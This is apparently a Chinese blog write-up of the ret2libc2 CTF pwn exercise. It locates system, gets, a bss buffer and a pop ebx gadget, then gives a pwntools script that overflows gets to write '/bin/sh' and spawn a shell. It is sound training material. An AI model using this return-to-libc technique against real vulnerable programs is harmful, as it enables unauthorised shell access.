ret2libc2

作者: 杰_74 | 来源:发表于2019-07-03 17:07 被阅读0次

    wiki上的链接
    https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/

    checksec ret2libc2,发现开启了堆栈不可执行保护


    放入ida,F5



    还是gets函数作祟

    shift+F12,这次查找字符串就只剩下system了,/bin/sh不见了,那我们就要想办法写入/bin/sh,借用gets函数写入



    先找到system的地址,0x08048490



    找gets的地址,0x08048460

    在可写入的bss段寻找可借用的东西,这里找到了buf2,我们可以把/bin/sh写入buf2,把/bin/sh的地址作为system的参数被调用

    用gadget找带ret的语句,这里只有pop ebx,无pop eax等,所以选gadget的地址为0x0804843d


    脚本payload用两种方式均可
    参见https://www.jianshu.com/p/4928e726a43f
    方法一:

    payload = flat(["a"*112,gets,system,buf2,buf2,'/bin/sh'])

    方法二:
    堆栈平衡,就是在调用完gets之后要把调用的参数给pop出来,提升栈堆(保持esp和ebp的值不变)再对system进行调用,system调用的时候会有一个返回值,直接填入垃圾字符,这里以'aaaa' 作为虚假的地址

    payload = flat(["a"*112,gets,pop_ebx,buf2,system,'aaaa',buf2,'/bin/sh'])

    脚本如下

    #!/usr/bin/env python
    #-*- coding:utf-8 -*-
    from pwn import *
    
    p = process('./ret2libc2')
    system = 0x08048490
    gets = 0x08048460
    buf2 = 0x0804A080
    pop_ebx = 0x0804843d
    
    payload = flat(["a"*112,gets,pop_ebx,buf2,system,"aaaa",buf2,'/bin/sh'])
    
    p.sendline(payload)
    p.interactive()
    

    运行脚本


    相关文章

      网友评论

        本文标题:ret2libc2

        本文链接:https://www.haomeiwen.com/subject/dxzfhctx.html